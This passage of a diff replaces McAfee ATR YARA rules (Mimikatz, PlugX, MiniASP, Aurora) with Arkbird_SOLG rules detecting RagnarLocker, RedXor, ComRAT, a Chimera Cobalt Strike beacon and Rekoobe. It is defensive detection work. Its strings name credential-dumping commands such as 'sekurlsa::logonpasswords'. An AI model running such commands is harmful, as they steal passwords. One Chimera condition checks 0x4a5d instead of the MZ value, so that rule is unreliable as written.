-		description = "Rule to detect Mimikatz utility used in the SoftCell operation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "0c01a2f6-cf3c-57b3-8f19-94d320422658"
-		date = "2019-06-25"
-		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L211-L258"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "4ccb44bf0d490a18e35290d904326ce14cdc92c96be1a38e6059431645233e37"
+		description = "Detect memory artefacts of the Ragnarlocker ransomware (Nov 2020)"
+		author = "Arkbird_SOLG"
+		id = "910774ab-9ad6-5c56-a921-203f61c9d7f7"
+		date = "2020-11-26"
+		modified = "2020-11-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L3-L33"
+		license_url = "N/A"
+		logic_hash = "2cb26677b8f4e464750eb8dec0638fd3f9a28500e68f64d62e99236c93895c85"
 		score = 75
-		quality = 68
-		tags = "HACKTOOL, FILE"
-		rule_version = "v1"
-		malware_type = "hacktool"
-		malware_family = "Hacktool:W32/Mimikatz"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 50
+		tags = "FILE"
+		hash1 = "041fd213326dd5c10a16caf88ff076bb98c68c052284430fba5f601023d39a14"
+		hash2 = "dd79b2abc21e766fe3076038482ded43e5069a1af9e0ad29e06dce387bfae900"
 
 	strings:
-		$s1 = "livessp.dll" fullword wide
-		$s2 = "\\system32\\tapi32.dll" fullword wide
-		$s3 = " * Process Token : " fullword wide
-		$s4 = "lsadump" fullword wide
-		$s5 = "-nl - skip lsa dump..." fullword wide
-		$s6 = "lsadump::sam" fullword wide
-		$s7 = "lsadump::lsa" fullword wide
-		$s8 = "* NL$IterCount %u, %u real iter(s)" fullword wide
-		$s9 = "* Iter to def (%d)" fullword wide
-		$s10 = " * Thread Token  : " fullword wide
-		$s11 = " * RootKey  : " fullword wide
-		$s12 = "lsadump::cache" fullword wide
-		$s13 = "sekurlsa::logonpasswords" fullword wide
-		$s14 = "(commandline) # %s" fullword wide
-		$s15 = ">>> %s of '%s' module failed : %08x" fullword wide
-		$s16 = "UndefinedLogonType" fullword wide
-		$s17 = " * Username : %wZ" fullword wide
-		$s18 = "logonPasswords" fullword wide
-		$s19 = "privilege::debug" fullword wide
-		$s20 = "token::elevate" fullword wide
-		$op0 = { e8 0b f5 00 00 90 39 35 30 c7 02 00 75 34 48 8b }
-		$op1 = { eb 34 48 8b 4d cf 48 8d 45 c7 45 33 c9 48 89 44 }
-		$op2 = { 48 3b 0d 34 26 01 00 74 05 e8 a9 31 ff ff 48 8b }
+		$s1 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
+		$s2 = "bootfont.bin" fullword wide
+		$s3 = "bootsect.bak" fullword wide
+		$s4 = "bootmgr.efi" fullword wide
+		$s5 = "---RAGNAR SECRET---" fullword ascii
+		$s6 = "Mozilla"
+		$s7 = "Internet Explorer" fullword wide
+		$s8 = "  </trustInfo>" fullword ascii
+		$s9 = "Tor browser" fullword wide
+		$s10 = "Opera Software" fullword wide
+		$s11 = "---END RAGN KEY---" fullword ascii
+		$s12 = "---BEGIN RAGN KEY---" fullword ascii
+		$s13 = "%s-%s-%s-%s-%s" fullword wide
+		$s14 = "$Recycle.Bin" fullword wide
+		$s15 = "***********************************************************************************" fullword ascii
+		$s16 = "K<^_[]" fullword ascii
+		$s17 = "SD;SDw" fullword ascii
+		$s18 = "Windows.old" fullword wide
+		$s19 = "iconcache.db" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="169e02f00c6fb64587297444b6c41ff4" and all of them )
+		uint16(0)==0x5a4d and filesize >30KB and 12 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Sfx_Winrar_Plugx : BUILDER FILE
+rule ARKBIRD_SOLG_Ran_Cert_Ragnarlocker_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the SFX WinRAR delivering a possible Plugx sample"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "ac975a58-6a8a-515e-b27f-327a7bfc7686"
-		date = "2019-06-25"
-		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L260-L307"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "8231f46330762cecf8a796d1a29c8fa6ba1c10b527fa86bf6c73130349558dad"
-		score = 75
-		quality = 68
-		tags = "BUILDER, FILE"
-		rule_version = "v1"
-		malware_type = "builder"
-		malware_family = "Builder:W32/Plugx"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		description = "Detect certificates and VMProtect used for the Ragnarlocker ransomware (Nov 2020)"
+		author = "Arkbird_SOLG"
+		id = "85d51804-eebd-5353-8bd9-01756e7f7d07"
+		date = "2020-11-26"
+		modified = "2020-11-27"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L35-L55"
+		license_url = "N/A"
+		logic_hash = "8171128426b48102457f5ba0771b27aaf5f4562293aff04c256bd5bd721a908e"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		level = "Experimental"
+		hash1 = "afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68"
+		hash2 = "9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151"
 
 	strings:
-		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
-		$s2 = "Wrong password for %s5Write error in the file %s. Probably the disk is full" fullword wide
-		$s3 = "mcutil.dll" fullword ascii
-		$s4 = "Unexpected end of archiveThe file \"%s\" header is corrupt%The archive comment header is corrupt" fullword wide
-		$s5 = "mcoemcpy.exe" fullword ascii
-		$s6 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
-		$s7 = "&Enter password for the encrypted file:" fullword wide
-		$s8 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii
-		$s9 = "setup.bat" fullword ascii
-		$s10 = "ErroraErrors encountered while performing the operation" fullword wide
-		$s11 = "Please download a fresh copy and retry the installation" fullword wide
-		$s12 = "antivir.dat" fullword ascii
-		$s13 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide
-		$s14 = "=Total path and file name length must not exceed %d characters" fullword wide
-		$s15 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide
-		$s16 = "folder is not accessiblelSome files could not be created." fullword wide
-		$s17 = "Packed data CRC failed in %s" fullword wide
-		$s18 = "DDTTDTTDTTDTTDTTDTTDTTDTTDTQ" fullword ascii
-		$s19 = "File close error" fullword wide
-		$s20 = "CRC failed in %s" fullword wide
-		$op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 }
-		$op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 }
-		$op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d }
+		$vmp0 = { 2E 76 6D 70 30 00 00 00 }
+		$vmp1 = { 2E 76 6D 70 31 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="dbb1eb5c3476069287a73206929932fd" and all of them )
+		uint16(0)==0x5a4d and filesize >5000KB and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "GlobalSign" and pe.signatures[i].serial=="68:65:29:4f:67:f0:c3:bb:2e:19:1f:75") and $vmp0 in (0x100..0x300) and $vmp1 in (0x100..0x300)
 }
-rule TRELLIX_ARC_Apt_Miniasp_Pdb : TROJAN FILE
+rule ARKBIRD_SOLG_MAL_Redxor_Feb_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect MiniASP based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2e7e2990-5e7f-52b0-884a-fcb54b2f5488"
-		date = "2012-07-12"
-		modified = "2020-08-14"
-		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_MiniASP_pdb.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "42334f2119069b8c0ececfb14a7030e480b5d18ca1cc35f1ceaee847bc040e53"
-		logic_hash = "8ee6f93aaae2c48cc5835269fd526371040cd33cc309220f92a150444ba21055"
+		description = "Detect RedXor backdoor (Feb 2021)"
+		author = "Arkbird_SOLG"
+		id = "10ae10b7-b351-5dda-9408-aa01a40e3d6a"
+		date = "2021-03-14"
+		modified = "2021-05-24"
+		reference = "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-23/RedXor/MAL_RedXor_Feb_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "b4e3ea24bb19abe7065ed5fc94f65e68ea84b11da7b45936ee991ef6aac6d33d"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/MiniASP"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919"
+		hash2 = "0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559"
+		tlp = "White"
+		adversary = "Winnti"
 
 	strings:
-		$pdb = "\\Project\\mm\\Wininet\\Attack\\MiniAsp4\\Release\\MiniAsp.pdb"
-		$pdb1 = "\\XiaoME\\AiH\\20120410\\Attack\\MiniAsp3\\Release\\MiniAsp.pdb"
+		$seq1 = { 0f b7 05 [2] 20 00 66 85 c0 0f 85 cd 00 00 00 48 8d 85 ?? ff ff ff be 10 00 00 00 48 89 c7 e8 [2] ff ff 66 c7 85 ?? ff ff ff 02 00 0f b7 05 [2] 20 00 0f b7 c0 89 c7 e8 [2] ff ff 66 89 85 ?? ff ff ff 48 8b 45 d8 48 89 c7 e8 [2] ff ff 89 85 ?? ff ff ff ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 [2] ff ff 89 85 ?? ff ff ff 83 bd ?? ff ff ff ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
+		$seq2 = { 48 8d 8d ?? ff ff ff 8b 85 ?? ff ff ff ba 10 00 00 00 48 89 ce 89 c7 e8 [2] ff ff 83 f8 ff 75 47 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
+		$seq3 = { 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8b 95 [2] fd ff 48 8d 85 [2] fd ff 48 89 ce 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff 8b 85 30 ff ff ff 48 63 d8 8b 85 30 ff ff ff 48 63 c8 48 8d 95 [2] fd ff 48 8d 85 [2] fe ff 49 89 d8 be [2] 40 00 48 89 c7 e8 [2] ff ff 89 85 2c ff ff ff 8b 85 2c ff ff ff 48 63 d0 48 8d 9d [2] fe ff 8b 85 ?? ff ff ff b9 00 00 00 00 48 89 de 89 c7 e8 [2] ff ff 48 83 f8 ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
+		$seq4 = { c7 45 a8 01 00 00 00 c7 45 ac 01 00 00 00 c7 05 [2] 20 00 00 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba ?? 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 48 89 c2 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff 48 89 ce 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff ba ff 0f 00 00 48 89 ce 89 c7 e8 [2] ff ff 89 85 40 ff ff ff 83 bd 40 ff ff ff ff 75 0a c7 85 40 ff ff ff 00 00 00 00 48 8d 85 [2] fd ff be [2] 40 00 48 89 c7 e8 [2] ff ff 48 85 c0 0f 84 d0 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba 02 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff e8 [2] ff ff 89 c7 e8 [2] ff ff 48 89 45 e8 be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff 48 8b 45 e8 48 8b 00 48 89 c6 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff bb [2] 40 00 48 8d 95 [2] fd ff 48 8d 85 [2] fd ff 41 b8 [2] 60 00 48 89 d1 ba [2] 60 00 48 89 de 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff c7 45 ac 00 00 00 }
+		$seq5 = { 55 48 89 e5 53 89 fb 89 f0 48 89 55 d8 89 4d d4 88 5d e4 88 45 e0 0f b6 45 e4 88 45 f2 0f b6 45 e0 88 45 f3 c7 45 f4 00 00 00 00 c7 45 f4 00 00 00 00 eb 29 8b 45 f4 48 98 48 03 45 d8 8b 55 f4 48 63 d2 48 03 55 d8 0f b6 0a 0f b6 55 f2 31 ca 88 10 0f b6 45 f3 00 45 f2 83 45 f4 01 8b 45 f4 3b 45 d4 7c cf b8 00 00 00 00 5b }
+		$seq6 = { 55 48 89 e5 53 48 81 ec 68 0d 00 00 48 89 bd d8 f2 ff ff c7 45 90 31 32 37 2e c7 45 94 30 2e 30 2e 48 c7 45 98 31 00 00 00 c7 45 a0 00 00 00 00 c7 85 70 ff ff ff 30 30 2d 30 c7 85 74 ff ff ff 30 2d 30 30 c7 85 78 ff ff ff 2d 30 30 2d c7 85 7c ff ff ff 30 30 2d 30 c7 45 80 30 00 00 00 48 c7 45 a8 [2] 40 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and any of them
+		uint32(0)==0x464c457f and filesize >25KB and all of ($seq*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Milum_Trojan : TROJAN FILE
+rule ARKBIRD_SOLG_APT_Turla_Comrat_Chinch_V4_Jan_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Milum trojan from the Wildpressure operation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "acc56237-a93a-55c0-a90c-11ca1da683db"
-		date = "2020-04-24"
-		modified = "2020-08-14"
-		reference = "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_milum_wildpressure.yar#L3-L28"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9"
-		logic_hash = "3ab1ff129517cb4a829edac289c00d7701d6f667ba2ef5a28024fd01a3a52e8e"
+		description = "Detect ComRAT V4 (Chinch) used by APT Turla group"
+		author = "Arkbird_SOLG"
+		id = "7d4daf3d-eed9-59fb-a4b9-fbc1c72adfcd"
+		date = "2021-01-23"
+		modified = "2021-01-26"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-23/Turla/APT_Turla_ComRAT_Chinch_V4_Jan_2021_1.yar#L1-L28"
+		license_url = "N/A"
+		logic_hash = "0d92207c4716f8d2fbf1d4f0cf3a33c38417fdd1565c87c251f7ff290135c435"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Milum"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56"
 
 	strings:
-		$pattern = { 558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????89??????????C7????????????8D????C7??????????33??6A??89??????????89????E8????????83????3B??0F84????????89????89??8B????89????8B????89????8B????C6??????8B????C6??????C6??????8B??????????BE????????89????89????88????C6??????6A??68????????8D??????????89??????????89??????????88??????????E8????????C6??????6A??538D????528D??????????89??????????89??????????88??????????E8????????C6??????8D??????????508B??E8????????508D??????????5157E8????????C6??????83????????????72??8B??????????52E8????????83????89??????????89??????????88??????????C6??????83????????????72??8B??????????50E8????????83????6A??68????????8D????89??????????89??????????88??????????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????83??????72??8B????51E8????????83????89????89????88????C6??????83??????72??8B????52E8????????83????6A??68????????8D????89????89????88????89????89????88????E8????????C6??????6A??538D????508D????89????89????88????E8????????C6??????83????8B??89??????????6A??89????89????68????????88??E8????????C6??????83????8B??89??????????6A??538D????89????89????5288??E8????????C6??????8D??????????50C6??????E8????????83????C6??????8B??????????2B??????????B8????????F7??03??C1????8B??C1????03??83????75??8B??????????6A??53528D????E8????????8B??????????6A??83????53508D????E8????????6A??538D????508D????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????BF????????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????8B??????????3B??74??8B??????????E8????????8B??????????50E8????????83????BF????????89??????????89??????????89??????????C6??????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????39????72??8B????50E8????????83????89????89????88????88????39????72??8B????51E8????????83????89????89????88????C7????????????39????72??8B????52E8????????83????8B??????????89????89????88????8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????8D??????????508D??????????89??????????E8????????C6??????C7??????????????????C6??????68????????8D??????????51E8????????CCCC558B??6A??68????????64??????????5051535657A1????????33??508D????64??????????8B????C7??????????C7????????????8D????33??83??????89????72??8B??EB??8B??8D????88??8B????8B????518B??E8????????8B????89????8B????89??8B????89????89????88????83??????72??8B??50E8????????83????89????C7????????????88??83????89????89????C7????????????8B????8B??50518D????E8????????89????8B????52E8????????83????8B????64????????????595F5E5B8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????505156A1????????33??508D????64??????????83????C7????????????8B????5156E8????????C7????????????C7????????????8B??8B????64????????????595E8B??5DC2????CCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????33??8B??89??????????8B????8B??89??????????89??????????89??????????3B??0F84????????8D????39??????????0F85????????68????????8D????5750E8????????C7????????????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????E9????????578D????68????????51E8????????C7????????????508D??????????52BA????????E8????????C6??????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????C6??????39??????????72??8B??????????50E8????????83????C7??????????????????89??????????88??????????88????39????72??8B????51E8????????83????C7????????????89????88????FF??????????38????75??8B????38????75??8B??8B??38????75??8D????8B??8B??38????74??EB??8B????38????75??3B????75??8B??8B????38????74??8B??8B??????????3B????0F85????????8B??????????8B??6A??5383????C7????????????89????508B??88??E8????????89????C7??????????????????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????C7????????????89????88????8B????64????????????595E5B8B??5DC3CCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????5356508D????64??????????33??89????538B??68????????8D????89????C7????????????89????88????E8????????C7????????????6A??8D????38????74??68????????EB??68????????E8????????8D????5083????8D????5651E8????????C6??????8D????52578B??E8????????83????C7????????????C6??????BE????????39????72??8B????50E8????????83????C7????????????89????88????88????39????72??8B????51E8????????83????C7????????????89????88????8B??8B????64????????????595E5B8B????33??E8????????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????F6??????C7????????????89????88????74??56E8????????83????8B??8B????64????????????595E5B8B??5DC2????CCCC558B??6A??68????????64??????????50A1????????33??508D????64??????????C7????????????6A??6A??8D????5083????E8????????C7????????????83??????72??8B????51E8????????83????C7????????????C7????????????C6??????8B????64????????????598B??5DC2????CCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????535657508D????64??????????33??89????8B????89????89????B8????????89????C7????????????89????88??89????8D????BF????????39????72??8B??8B????39????73??8D????8B????518D????518B??E8????????C6??????508B??E8????????C6??????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B??33??89????8B????89??????????89?????????? }
+		$com1 = "state->_reprocess_current_token || token.type != GUMBO_TOKEN_START_TAG || token.v.start_tag.attributes.data == NULL" fullword wide
+		$com2 = "fragment_ctx != GUMBO_TAG_LAST" fullword wide
+		$com3 = "has_matching_a == 1" fullword wide
+		$com4 = "ODFA: %u %d %u" fullword ascii
+		$com5 = "Custom browser path is empty." fullword ascii
+		$com6 = "Default browser path is:" fullword ascii
+		$com7 = "Search for browser path." fullword ascii
+		$com8 = "Cant retrieve any path." fullword ascii
+		$com9 = "Custom browser path is:" fullword ascii
+		$jmp1 = { 2e 64 6c 6c 00 55 4d 45 50 00 56 46 45 50 }
+		$jmp2 = { 33 c9 e9 ?? ?? ff ff cc cc cc cc cc cc cc cc cc }
+		$seq1 = { 40 55 48 8d ac 24 00 fd ff ff 48 81 ec 00 04 00 00 48 8b 05 80 46 1b 00 48 33 c4 48 89 85 d0 02 00 00 b9 d8 02 00 00 e8 f4 8b 07 00 4c 8b 0d c5 a5 1c 00 48 8d 95 00 01 00 00 4c 8b 05 af a5 1c 00 48 8d 0d c8 9d 1c 00 4d 2b c8 48 89 05 ae 8a 1d 00 e8 a9 7e fc ff 48 83 bd 18 01 00 00 10 48 8d 8d 00 01 00 00 48 0f 43 8d 00 01 00 00 ff 15 24 f3 0c 00 48 8b 15 25 f3 0c 00 48 8b c8 e8 6d 59 fb ff 48 8b 95 18 01 00 00 48 83 fa 10 }
+		$seq2 = { 41 8b 41 08 83 e8 09 83 f8 08 }
+		$seq3 = { 48 8b 03 48 8b cb ff 50 08 48 8b 95 f8 01 00 00 48 83 fa 08 72 39 48 8b 8d e0 }
+		$seq4 = { b8 09 00 00 00 44 88 a5 60 01 00 00 48 8d 8d 60 01 00 00 f3 0f 7f 85 70 01 00 00 e8 c1 19 fc ff ba df 5e ca 76 48 8d 4d 50 e8 63 ea fc ff 48 8b c8 48 8d 95 60 01 00 00 e8 c4 cb ff ff 0f b6 15 dd 8b 1c 00 48 8b c8 e8 35 cd ff ff 48 8b 95 78 01 00 00 48 83 fa 10 72 34 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and pe.imphash()=="548d9f5f1e74f34b85612667335d41f2" and all of them
+		uint16(0)==0x5a4d and filesize >1000KB and 6 of ($com*) and all of ($jmp*) and 3 of ($seq*)
 }
-rule TRELLIX_ARC_Ixeshe_Bled_Malware_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_APT_Chimera_Sept_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Ixeshe_bled malware based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "93356eab-5bb3-5b85-acc6-9a247554aa2d"
-		date = "2012-05-30"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/software/S0015/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/ixeshe_bled_pdb.yar#L1-L24"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "d1be51ef9a873de85fb566d157b034234377a4a1f24dfaf670e6b94b29f35482"
-		logic_hash = "7d2ce7644e25a56c101c148a32f7b0f7c3185c0c17f4d65eaef257f6ac7f8ffb"
+		description = "Detect Cobalt Strike agent used by Chimera"
+		author = "Arkbird_SOLG"
+		id = "7a7c3952-fa6e-5643-a40f-d2e466b8c2a2"
+		date = "2020-10-03"
+		modified = "2020-10-04"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-03/Chimera/APT_Chimera_Sept_2020_1.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "8fdb34c793534f8632fd2c35b89462d4a736a31f2347e7bab3e8bcebff04c21f"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Ixeshe"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "f6d89ff139f4169e8a67332a0fd55b6c9beda0b619b1332ddc07d9a860558bab"
 
 	strings:
-		$pdb = "\\code\\Blade2009.6.30\\Blade2009.6.30\\EdgeEXE_20003OC\\Debug\\EdgeEXE.pdb"
+		$header = { 4D 5A 41 52 55 48 89 E5 48 83 EC 20 48 83 E4 F0 E8 00 00 00 00 5B 48 81 C3 EB 18 00 00 FF D3 48 81 C3 00 09 03 00 49 89 D8 6A 04 5A FF D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 }
+		$s1 = "\\\\%s\\pipe\\%s" fullword ascii
+		$s2 = "%04x-%04x:%s" fullword wide
+		$core1 = "core_pivot_session_new" fullword ascii
+		$core2 = "core_pivot_session_died" fullword ascii
+		$core3 = "core_pivot_remove" fullword ascii
+		$core4 = "core_pivot_add" fullword ascii
+		$lib1 = "CreateNamedPipeA" fullword ascii
+		$lib2 = "ConnectNamedPipe" fullword ascii
+		$lib3 = "WinHttpGetIEProxyConfigForCurrentUser" fullword ascii
+		$export = "ReflectiveLoader" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and any of them
+		uint16(0)==0x4a5d and filesize >30KB and $header and 1 of ($s*) and 2 of ($core*) and 2 of ($lib*) and $export
 }
-rule TRELLIX_ARC_Apt_Aurora_Pdb_Samples : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_ELF_Rekoobe_Nov_2021_1 : FILE
 {
 	meta:
-		description = "Aurora APT Malware 2006-2010"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "51b080b7-671b-592b-ba52-7fdd0ddf0294"
-		date = "2010-01-11"
-		modified = "2020-08-14"
-		reference = "https://en.wikipedia.org/wiki/Operation_Aurora"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_operation_aurora.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "ce7debbcf1ca3a390083fe5753f231e632017ca041dfa662ad56095a500f2364"
-		logic_hash = "5791ae7b96f2b59d0cca1ab97455bb4745edad8980ac4aff22aa36e0bc4f240e"
+		description = "Detect the Rekoobe rootkit"
+		author = "Arkbird_SOLG"
+		id = "a5b200f1-cbb7-5106-8127-74abd3cde061"
+		date = "2021-11-10"
+		modified = "2021-11-11"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-10/MAL_ELF_Rekoobe_Nov_2021_1.yara#L1-L20"
+		license_url = "N/A"
